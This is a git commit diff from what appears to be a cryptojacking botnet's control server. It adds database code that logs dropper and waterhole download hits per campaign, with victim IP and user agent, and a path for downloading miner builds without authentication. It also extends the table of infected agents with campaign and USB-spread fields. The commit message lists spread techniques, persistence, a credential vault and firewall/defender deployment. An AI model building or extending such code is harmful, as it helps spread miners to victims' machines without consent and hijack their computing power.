feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
@@ -43,7 +43,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
|
||||
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -62,7 +62,7 @@ func (d *Database) scanAgent(row interface {
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
||||
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
175
server/internal/db/campaign.go
Normal file
175
server/internal/db/campaign.go
Normal file
@@ -0,0 +1,175 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
|
||||
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
|
||||
campaign = sanitizeCampaign(campaign)
|
||||
if campaign == "" {
|
||||
return nil
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
|
||||
campaign, buildID, source, ip, userAgent, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func sanitizeCampaign(c string) string {
|
||||
c = strings.TrimSpace(c)
|
||||
if len(c) > 64 {
|
||||
c = c[:64]
|
||||
}
|
||||
// Allow alphanumeric, dash, underscore, dot
|
||||
var b strings.Builder
|
||||
for _, r := range c {
|
||||
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
|
||||
type CampaignHitSummary struct {
|
||||
Campaign string `json:"campaign"`
|
||||
Count int `json:"count"`
|
||||
LastHit string `json:"last_hit"`
|
||||
}
|
||||
|
||||
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
|
||||
if limit <= 0 || limit > 500 {
|
||||
limit = 100
|
||||
}
|
||||
rows, err := d.Query(`
|
||||
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
|
||||
FROM campaign_hits
|
||||
GROUP BY campaign
|
||||
ORDER BY cnt DESC
|
||||
LIMIT ?`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []CampaignHitSummary
|
||||
for rows.Next() {
|
||||
var s CampaignHitSummary
|
||||
var lastRaw string
|
||||
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
|
||||
s.LastHit = t.Format(time.RFC3339)
|
||||
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
|
||||
s.LastHit = t.Format(time.RFC3339)
|
||||
} else {
|
||||
s.LastHit = lastRaw
|
||||
}
|
||||
out = append(out, s)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ListPublicBuilds returns builds eligible for unauthenticated download.
|
||||
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
|
||||
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
|
||||
if allEnabled {
|
||||
return d.ListBuilds(50)
|
||||
}
|
||||
if latestN <= 0 {
|
||||
latestN = 3
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
var out []*models.BuildRecord
|
||||
|
||||
add := func(b *models.BuildRecord) {
|
||||
if b == nil || seen[b.ID] {
|
||||
return
|
||||
}
|
||||
seen[b.ID] = true
|
||||
out = append(out, b)
|
||||
}
|
||||
|
||||
// Pinned builds
|
||||
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
|
||||
if err == nil {
|
||||
defer pinnedRows.Close()
|
||||
for pinnedRows.Next() {
|
||||
b, err := scanBuild(pinnedRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Operator-marked public
|
||||
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
|
||||
if err == nil {
|
||||
defer publicRows.Close()
|
||||
for publicRows.Next() {
|
||||
b, err := scanBuild(publicRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Latest N by created_at
|
||||
latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
|
||||
if err == nil {
|
||||
defer latestRows.Close()
|
||||
for latestRows.Next() {
|
||||
b, err := scanBuild(latestRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if out == nil {
|
||||
out = []*models.BuildRecord{}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
|
||||
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
|
||||
if allEnabled {
|
||||
_, err := d.GetBuild(id)
|
||||
return err == nil, err
|
||||
}
|
||||
builds, err := d.ListPublicBuilds(false, latestN)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
for _, b := range builds {
|
||||
if b.ID == id {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// SetBuildPublic toggles the operator public flag on a build.
|
||||
func (d *Database) SetBuildPublic(id string, public bool) error {
|
||||
val := 0
|
||||
if public {
|
||||
val = 1
|
||||
}
|
||||
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
return fmt.Errorf("build not found: %s", id)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
50
server/internal/db/campaign_test.go
Normal file
50
server/internal/db/campaign_test.go
Normal file
@@ -0,0 +1,50 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
defer d.Close()
|
||||
|
||||
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hits, err := d.ListCampaignHits(10)
|
||||
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
|
||||
t.Fatalf("hits=%v err=%v", hits, err)
|
||||
}
|
||||
|
||||
b1 := &models.BuildRecord{
|
||||
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
|
||||
}
|
||||
b2 := &models.BuildRecord{
|
||||
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
|
||||
}
|
||||
_ = d.InsertBuild(b1)
|
||||
_ = d.InsertBuild(b2)
|
||||
_ = d.SetBuildPublic("b1", true)
|
||||
|
||||
pub, err := d.ListPublicBuilds(false, 1)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ids := map[string]bool{}
|
||||
for _, b := range pub {
|
||||
ids[b.ID] = true
|
||||
}
|
||||
if !ids["b1"] || !ids["b2"] {
|
||||
t.Fatalf("expected public b1 and latest b2, got %v", ids)
|
||||
}
|
||||
|
||||
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
|
||||
}
|
||||
}
|
||||
@@ -134,6 +134,8 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
`CREATE TABLE IF NOT EXISTS audit_log (
|
||||
@@ -164,6 +166,17 @@ func (d *Database) migrate() error {
|
||||
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
PRIMARY KEY (agent_id, task_id)
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS campaign_hits (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign TEXT NOT NULL DEFAULT '',
|
||||
build_id TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT '',
|
||||
ip TEXT NOT NULL DEFAULT '',
|
||||
user_agent TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
@@ -177,8 +190,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -195,12 +208,13 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
|
||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||
usb_spread = excluded.usb_spread`
|
||||
usb_spread = excluded.usb_spread,
|
||||
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
|
||||
usb := 0
|
||||
if a.USBSpread {
|
||||
usb = 1
|
||||
}
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -364,7 +378,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`
|
||||
|
||||
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
|
||||
if len(files) == 0 {
|
||||
@@ -393,11 +407,12 @@ func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
var pinnedInt int
|
||||
var pinnedInt, publicInt int
|
||||
var extraFilesRaw string
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
|
||||
b.Pinned = pinnedInt == 1
|
||||
b.Public = publicInt == 1
|
||||
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
|
||||
return b, err
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user